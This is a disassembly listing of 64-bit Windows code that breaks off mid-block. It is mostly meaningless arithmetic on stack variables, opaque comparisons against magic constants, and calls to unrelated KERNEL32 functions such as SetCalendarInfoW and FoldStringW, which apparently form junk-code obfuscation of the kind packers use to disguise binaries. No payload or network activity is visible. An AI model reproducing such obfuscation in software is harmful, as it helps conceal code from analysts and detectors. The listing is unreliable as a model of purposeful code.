movzx eax, word [rbp + 0x32a]
mov edx, eax
movzx eax, word [rbp + 0x3e7e]
sub edx, eax
mov rax, qword [rbp + 0x46b0]
mov word [rax], dx
mov ecx, dword [rbp + 0x3424]
mov edx, dword [rbp + 0x194]
mov rax, qword [rbp + 0x2f40]
and edx, ecx
mov dword [rax], edx
movzx eax, word [rbp + 0x4dfc]
mov edx, eax
movzx eax, word [rbp + 0x32a]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15690]
mov word [rax], dx
mov rax, qword [rbp + 0x15738]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x24aa]
or eax, edx
mov byte [rbp + 0x3507], al
cmp dword [rbp + 0x15718], 0xb18a
jne 0x1400068f0
mov rax, qword [rbp + 0x15660]
mov eax, dword [rax]
test eax, eax
jne 0x1400c8708
mov rax, qword [rbp + 0x9f0]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0xf3d
jne 0x140006c11
movzx edx, word [rbp + 0x129e]
movzx ecx, word [rbp + 0x36a6]
mov rax, qword [rbp + 0x4148]
sub edx, ecx
mov word [rax], dx
mov ecx, 0x53
mov rax, qword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
call rax
mov word [rbp + 0x129e], ax
mov rax, qword [rbp + 0x15720]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x15138]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0xa70]
sub edx, ecx
mov byte [rax], dl
jmp 0x1400c8652
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
cwde
cmp eax, 0xffffe1ff
jne 0x140006ceb
mov eax, dword [rbp + 0x50c8]
test eax, eax
je 0x140006cde
cmp eax, 0x279ec9ac
jne 0x140006cdf
mov rdx, qword [rbp + 0x2378]
movabs rax, 0x69215ecc8fee99ba
cmp rdx, rax
jne 0x140006cb9
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3507]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x24aa], al
mov rax, qword [rbp + 0x9f0]
movzx eax, word [rax]
movzx ecx, ax
movzx eax, word [rbp + 0x129e]
movzx r9d, ax
movzx eax, word [rbp + 0x152c]
movzx r8d, ax
movzx eax, word [rbp + 0x5dc]
movzx edx, ax
movzx eax, word [rbp + 0x129e]
movzx eax, ax
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.140003adb
jmp 0x140006cdc
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
add edx, eax
mov rax, qword [rbp + 0x46b0]
mov word [rax], dx
nop
jmp 0x140006cdf
nop
mov dword [rbp + 0x1568c], 0x691a
jmp 0x140006d48
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x50c8]
add eax, edx
mov dword [0x1400dd310], eax
mov rax, qword [rbp + 0x15150]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadPriority]
call rax
mov dword [rbp + 0x3424], eax
mov ecx, dword [rbp + 0x2728]
mov edx, dword [0x1400dd310]
mov rax, qword [rbp + 0x2f40]
mov eax, dword [rax]
mov dword [rsp + 0x20], ecx
mov r9d, 0x18
mov r8d, 0x75
mov ecx, eax
call fcn.1400033f0
nop
jmp 0x140006ecd
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x32a]
add eax, edx
mov word [rbp + 0x4dfc], ax
mov ecx, dword [rbp + 0x194]
mov edx, dword [rbp + 0x50c8]
mov rax, qword [rbp + 0x2f40]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x194]
or eax, edx
mov dword [rbp + 0x50c8], eax
mov rax, qword [rbp + 0x9f0]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x152c]
mov rax, qword [rbp + 0x4148]
xor edx, ecx
mov word [rax], dx
mov edx, dword [rbp + 0x2764]
mov rax, qword [rbp + 0x4830]
mov eax, dword [rax]
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x15660]
mov dword [rax], edx
mov rax, qword [rbp + 0xa70]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x12c8]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15720]
mov byte [rax], dl
movzx eax, word [rbp + 0x5dc]
mov word [rbp + 0x36a6], ax
add dword [rbp + 0x15770], 0x8e
movzx eax, byte [rbp + 0x24aa]
mov edx, eax
movzx eax, byte [rbp + 0x3507]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
movzx eax, word [rbp + 0x32a]
mov edx, eax
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15690]
mov word [rax], dx
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
mov word [rbp + 0x152c], ax
mov rax, qword [rbp + 0x4f88]
movabs rdx, 0x72b89e39fecc85dd
and rax, rdx
mov qword [rbp + 0x2378], rax
mov rax, qword [rbp + 0x4830]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2728]
add edx, eax
mov rax, qword [rbp + 0x15660]
mov dword [rax], edx
mov rax, qword [rbp + 0x4830]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2764]
sub edx, eax
mov rax, qword [rbp + 0x15660]
mov dword [rax], edx
mov edx, dword [rbp + 0x194]
mov eax, dword [rbp + 0x3424]
add eax, edx
mov dword [rbp + 0x50c8], eax
cmp dword [rbp + 0x15770], 0x8553
jne 0x140006d4d
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
cwde
cmp eax, 0x2f8f
je 0x140006eff
cmp eax, 0x4ee4
je 0x140006ffd
jmp 0x14000750d
movzx edx, word [rbp + 0x152c]
mov rax, qword [rbp + 0x9f0]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x4148]
sub edx, ecx
mov word [rax], dx
lea rcx, [rbp + 0x129e]
lea rdx, [rbp + 0x32a]
mov rax, qword [rbp + 0x15130]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
call rax
mov dword [rbp + 0x1514c], eax
movzx eax, word [rbp + 0x3e7e]
mov edx, eax
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x4dfc], ax
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x679
jne 0x140006fb2
mov rax, qword [rbp + 0x12c8]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0xa70]
add edx, ecx
mov byte [rax], dl
lea rax, [rbp + 0x3270]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
call rax
mov qword [rbp + 0x3240], rax
jmp 0x140006ff8
movzx eax, word [rbp + 0x36a6]
movzx ecx, ax
mov rax, qword [rbp + 0x9f0]
movzx eax, word [rax]
movzx r9d, ax
mov rax, qword [rbp + 0x9f0]
movzx eax, word [rax]
movzx r8d, ax
movzx eax, word [rbp + 0x129e]
movzx edx, ax
movzx eax, word [rbp + 0x152c]
movzx eax, ax
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.140003adb
nop
jmp 0x1400070b0
movzx eax, byte [rbp + 0x3507]
mov edx, eax
movzx eax, byte [rbp + 0x24aa]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
mov eax, dword [rbp + 0x50c8]
cmp eax, 0x30df068
je 0x140007030
cmp eax, 0x126d5b4a
je 0x140007093
jmp 0x1400070af
movzx eax, byte [rbp + 0x24aa]
mov edx, eax
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x3507], al
mov rax, qword [rbp + 0x12b0]
mov r9, rax
mov r8d, 0x4d
mov edx, 0x95
mov ecx, 0x11
mov rax, qword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
call rax
mov dword [rbp + 0x1514c], eax
mov edx, dword [rbp + 0x2728]
mov eax, dword [rbp + 0x3b8]
mov ecx, eax
shr edx, cl
mov rax, qword [rbp + 0x15660]
mov dword [rax], edx
jmp 0x1400070af
mov rax, qword [rbp + 0x4f88]
movabs rdx, 0x2fbe1e57c6c1a1a7
or rax, rdx
mov qword [rbp + 0x2378], rax
nop
nop
jmp 0x14000750d
mov edx, dword [rbp + 0x3424]
mov rax, qword [rbp + 0x2f40]
mov eax, dword [rax]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x194], eax
mov rax, qword [rbp + 0x15738]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3507]
xor eax, edx
mov byte [rbp + 0x24aa], al
mov rax, qword [rbp + 0x12c8]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x15720]
movzx eax, byte [rax]
and edx, eax
mov rax, qword [rbp + 0x15138]
mov byte [rax], dl
mov rax, qword [rbp + 0x9f0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x5dc]
add eax, edx
mov word [rbp + 0x129e], ax
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x3e7e]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15690]
mov word [rax], dx
mov rax, qword [rbp + 0x12c8]
movzx edx, byte [rax]
mov rax, qword [rbp + 0xa70]
movzx eax, byte [rax]
and eax, edx
mov byte [rbp + 0x221a], al
movzx eax, byte [rbp + 0x3507]
mov edx, eax
movzx eax, byte [rbp + 0x24aa]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
mov edx, dword [rbp + 0x50c8]
mov eax, dword [rbp + 0x3424]
sub edx, eax
mov dword [rbp + 0x194], edx
movzx eax, byte [rbp + 0x24aa]
mov edx, eax
movzx eax, byte [rbp + 0x3507]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
mov rax, qword [rbp + 0x4830]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2728]
add edx, eax
mov rax, qword [rbp + 0x15660]
mov dword [rax], edx
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x24aa]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x9f0]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [rbp + 0x152c], ax
movzx eax, word [rbp + 0x4dfc]
movsx edx, ax
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
cwde
mov ecx, eax
sar edx, cl
mov eax, edx
mov word [rbp + 0x32a], ax
mov rax, qword [rbp + 0x15140]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x15720]
movzx eax, byte [rax]
or eax, edx
mov byte [rbp + 0x221a], al
movzx edx, byte [rbp + 0x3507]
movzx eax, byte [rbp + 0x24aa]
xor edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
mov rax, qword [rbp + 0x4148]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x152c]
mov rax, qword [rbp + 0x9f0]
and edx, ecx
mov word [rax], dx
add dword [rbp + 0x15648], 0xb2
mov rax, qword [rbp + 0x15660]
mov eax, dword [rax]
mov dword [rbp + 0x2764], eax
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x32a]
sub edx, eax
mov rax, qword [rbp + 0x46b0]
mov word [rax], dx
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x194]
add eax, edx
mov dword [rbp + 0x50c8], eax
mov rax, qword [rbp + 0x4f88]
movabs rdx, 0xffe8b1872009c546
add rax, rdx
mov qword [rbp + 0x2378], rax
movzx eax, byte [rbp + 0x3507]
mov edx, eax
movzx eax, byte [rbp + 0x24aa]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
mov rax, qword [rbp + 0x9f0]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x5dc]
mov rax, qword [rbp + 0x4148]
and edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x3e7e]
sub edx, eax
mov rax, qword [rbp + 0x46b0]
mov word [rax], dx
movzx eax, word [rbp + 0x32a]
mov edx, eax
movzx eax, word [rbp + 0x3e7e]
sub edx, eax
mov rax, qword [rbp + 0x46b0]
mov word [rax], dx
mov rax, qword [rbp + 0x12c8]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0xa70]
add edx, ecx
mov byte [rax], dl
movzx eax, byte [rbp + 0x24aa]
mov edx, eax
movzx eax, byte [rbp + 0x3507]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
mov ecx, dword [rbp + 0x50c8]
mov edx, dword [rbp + 0x3424]
mov rax, qword [rbp + 0x2f40]
or edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x4830]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3b8]
xor edx, eax
mov rax, qword [rbp + 0x15660]
mov dword [rax], edx
mov rax, qword [rbp + 0x2378]
shl rax, 8
mov qword [rbp + 0x4f88], rax
mov edx, dword [rbp + 0x2728]
mov rax, qword [rbp + 0x4830]
mov eax, dword [rax]
mov ecx, eax
shr edx, cl
mov eax, edx
mov dword [rbp + 0x2764], eax
mov rax, qword [rbp + 0x15720]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0xa70]
and edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x4148]
movzx edx, word [rax]
movzx eax, word [rbp + 0x5dc]
add eax, edx
mov word [rbp + 0x36a6], ax
movzx eax, word [rbp + 0x3e7e]
mov edx, eax
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
sub edx, eax
mov rax, qword [rbp + 0x46b0]
mov word [rax], dx
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x194]
add eax, edx
mov dword [0x1400e1030], eax
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3507]
add eax, edx
mov byte [rbp + 0x24aa], al
mov ecx, dword [rbp + 0x3b8]
mov rax, qword [rbp + 0x15660]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4830]
sub ecx, edx
mov dword [rax], ecx
mov edx, dword [rbp + 0x194]
mov eax, dword [rbp + 0x50c8]
and eax, edx
mov dword [rbp + 0x3424], eax
mov ecx, dword [rbp + 0x2764]
mov edx, dword [rbp + 0x2728]
mov rax, qword [rbp + 0x4830]
add edx, ecx
mov dword [rax], edx
movzx eax, byte [rbp + 0x24aa]
mov edx, eax
movzx eax, byte [rbp + 0x3507]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
movzx eax, word [rbp + 0x32a]
mov edx, eax
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x4dfc], ax
cmp dword [rbp + 0x15648], 0x1d5f
jne 0x1400070b5
jmp 0x140007784
mov rax, qword [rbp + 0x15140]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x12c8]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0xa70]
mov byte [rax], dl
mov rax, qword [rbp + 0x46b0]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x4dfc]
mov rax, qword [rbp + 0x46b0]
or edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0xa70]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x12c8]
movzx eax, byte [rax]
xor edx, eax
mov rax, qword [rbp + 0x15720]
mov byte [rax], dl
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x9f0]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [rbp + 0x5dc], ax
mov rax, qword [rbp + 0x15738]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x24aa]
and eax, edx
mov byte [rbp + 0x3507], al
mov ecx, dword [rbp + 0x3424]
mov edx, dword [rbp + 0x194]
mov rax, qword [rbp + 0x2f40]
sub ecx, edx
mov dword [rax], ecx
sub dword [rbp + 0x15644], 0x82
mov rax, qword [rbp + 0x4830]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3b8]
sub edx, eax
mov dword [rbp + 0x2764], edx
mov rax, qword [rbp + 0x15140]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0xa70]
add edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x12c8]
movzx edx, byte [rax]
mov rax, qword [rbp + 0xa70]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x221a], al
movzx eax, word [rbp + 0x4dfc]
mov edx, eax
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x3e7e], ax
mov rax, qword [rbp + 0x9f0]
movzx edx, word [rax]
movzx ecx, word [rbp + 0x5dc]
mov rax, qword [rbp + 0x4148]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x50c8]
and eax, edx
mov dword [0x1400e1030], eax
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x24aa]
add eax, edx
mov byte [rbp + 0x3507], al
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3424]
or eax, edx
mov dword [rbp + 0x50c8], eax
mov rax, qword [rbp + 0x15660]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4830]
mov eax, dword [rax]
mov ecx, eax
shr edx, cl
mov eax, edx
mov dword [rbp + 0x2764], eax
mov rax, qword [rbp + 0x2378]
movabs rdx, 0x54c5662103b4506
xor rax, rdx
mov qword [rbp + 0x4f88], rax
mov rax, qword [rbp + 0x9f0]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [rbp + 0x36a6], ax
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x4dfc], ax
movzx edx, word [rbp + 0x129e]
movzx eax, word [rbp + 0x152c]
and eax, edx
mov word [rbp + 0x36a6], ax
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x24aa]
add eax, edx
mov byte [rbp + 0x3507], al
mov edx, dword [rbp + 0x194]
mov eax, dword [rbp + 0x50c8]
sub edx, eax
mov dword [0x1400e1030], edx
cmp dword [rbp + 0x15644], 0xf2f1
ja 0x140007522
lea rax, [rbp + 0x36a6]
mov qword [rbp + 0x44f0], rax
movabs rax, 0x6adcbeba6e01e021
mov qword [rbp + 0x3d18], rax
jmp 0x140007cdc
mov edx, dword [rbp + 0x2764]
mov rax, qword [rbp + 0x4830]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x15660]
mov dword [rax], edx
mov rax, qword [rbp + 0x2f40]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x50c8]
mov rax, qword [rbp + 0x2f40]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x4f88]
movabs rdx, 0x320d68a19d65f185
add rax, rdx
mov qword [rbp + 0x2378], rax
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3507]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x32a]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15690]
mov word [rax], dx
mov rax, qword [rbp + 0x15738]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x24aa]
and eax, edx
mov byte [rbp + 0x3507], al
sub dword [rbp + 0x1568c], 0xfd
mov rax, qword [rbp + 0x15138]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0x12c8]
xor edx, ecx
mov byte [rax], dl
movzx eax, word [rbp + 0x32a]
movsx edx, ax
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
cwde
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15690]
mov word [rax], dx
mov rax, qword [rbp + 0x2f40]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x3424]
mov rax, qword [rbp + 0x2f40]
or edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x3d18]
shl rax, 0x2e
mov qword [rbp + 0x3d18], rax
mov rax, qword [rbp + 0x15660]
mov eax, dword [rax]
mov dword [rbp + 0x2728], eax
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x24aa]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
mov rax, qword [rbp + 0x15140]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x221a]
add edx, eax
mov rax, qword [rbp + 0x15138]
mov byte [rax], dl
movzx edx, byte [rbp + 0x3507]
movzx eax, byte [rbp + 0x24aa]
and edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
movzx eax, word [rbp + 0x32a]
mov edx, eax
movzx eax, word [rbp + 0x4dfc]
sub edx, eax
mov rax, qword [rbp + 0x46b0]
mov word [rax], dx
mov rax, qword [rbp + 0x12c8]
movzx edx, byte [rax]
mov rax, qword [rbp + 0xa70]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x15138]
mov byte [rax], dl
mov rax, qword [rbp + 0x9f0]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x4148]
movzx edx, word [rax]
mov rax, qword [rbp + 0x44f0]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x24aa]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
mov rax, qword [rbp + 0x15660]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2764]
sub edx, eax
mov dword [rbp + 0x3b8], edx
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0xa70]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x15140]
mov byte [rax], dl
mov ecx, dword [rbp + 0x3424]
mov edx, dword [rbp + 0x194]
mov rax, qword [rbp + 0x2f40]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x4148]
movzx edx, word [rax]
mov rax, qword [rbp + 0x44f0]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x9f0]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x15738]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x24aa]
or edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
mov rax, qword [rbp + 0xa70]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x221a]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15138]
mov byte [rax], dl
movzx ecx, word [rbp + 0x5dc]
movzx edx, word [rbp + 0x152c]
mov rax, qword [rbp + 0x9f0]
xor edx, ecx
mov word [rax], dx
movzx eax, word [rbp + 0x4dfc]
movsx edx, ax
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
cwde
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x46b0]
mov word [rax], dx
mov rax, qword [rbp + 0x15738]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3507]
and edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
mov rax, qword [rbp + 0x4148]
movzx edx, word [rax]
mov rax, qword [rbp + 0x44f0]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x9f0]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x15660]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3b8]
sub edx, eax
mov rax, qword [rbp + 0x15660]
mov dword [rax], edx
mov rax, qword [rbp + 0x2f40]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x50c8]
mov rax, qword [rbp + 0x2f40]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x12c8]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x15140]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x221a], al
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3507]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
mov rax, qword [rbp + 0x44f0]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x36a6]
mov rax, qword [rbp + 0x4148]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x194]
add eax, edx
mov dword [0x1400e1030], eax
mov rax, qword [rbp + 0xa70]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x15720]
movzx eax, byte [rax]
add edx, eax
mov rax, qword [rbp + 0x15138]
mov byte [rax], dl
mov edx, dword [rbp + 0x2728]
mov rax, qword [rbp + 0x4830]
mov eax, dword [rax]
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x15660]
mov dword [rax], edx
mov rax, qword [rbp + 0x44f0]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x44f0]
mov word [rax], dx
mov rax, qword [rbp + 0x15660]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2764]
xor edx, eax
mov rax, qword [rbp + 0x15660]
mov dword [rax], edx
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x194]
or eax, edx
mov dword [rbp + 0x50c8], eax
mov rax, qword [rbp + 0x4148]
movzx edx, word [rax]
movzx eax, word [rbp + 0x152c]
and eax, edx
mov word [rbp + 0x129e], ax
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x24aa]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
movzx eax, word [rbp + 0x3e7e]
mov edx, eax
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x32a], ax
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x32a]
add eax, edx
mov word [rbp + 0x4dfc], ax
mov edx, dword [rbp + 0x3424]
mov eax, dword [rbp + 0x194]
add eax, edx
mov dword [0x1400e1030], eax
mov rax, qword [rbp + 0x4f88]
movabs rdx, 0x5100ca78b54d8552
and rax, rdx
mov qword [rbp + 0x2378], rax
mov ecx, dword [rbp + 0x2728]
mov edx, dword [rbp + 0x3b8]
mov rax, qword [rbp + 0x4830]
sub ecx, edx
mov dword [rax], ecx
cmp dword [rbp + 0x1568c], 0x497a
ja 0x1400077b8
movzx eax, word [rbp + 0x3e7e]
movsx edx, ax
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
cwde
mov ecx, edx
sub ecx, eax
movzx eax, word [rbp + 0x32a]
movsx edx, ax
movzx eax, word [rbp + 0x4dfc]
cwde
sub edx, eax
cmp ecx, edx
je 0x140007d74
lea rax, [rbp + 0x20e0]
mov dword [rsp + 0x20], 0x22
mov r9, rax
mov r8d, 0xc6
lea rax, str.lucre_Destroyable_Allele_overcrowding
mov rdx, rax
mov ecx, 0x56
mov rax, qword [sym.imp.KERNEL32.dll_FoldStringW]
call rax
mov dword [rbp + 0x50c8], eax
mov ecx, dword [rbp + 0x50c8]
mov edx, dword [rbp + 0x3424]
mov rax, qword [rbp + 0x2f40]
xor edx, ecx
mov dword [rax], edx
call fcn.1400c881f
jmp 0x140007edc
mov edx, dword [rbp + 0x50c8]
mov eax, dword [rbp + 0x3424]
lea r8d, [rdx + rax]
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x194]
mov ecx, eax
sar edx, cl
mov eax, edx
cmp r8d, eax
jg 0x140007edc
mov rax, qword [rbp + 0x44f0]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x129e]
movzx eax, ax
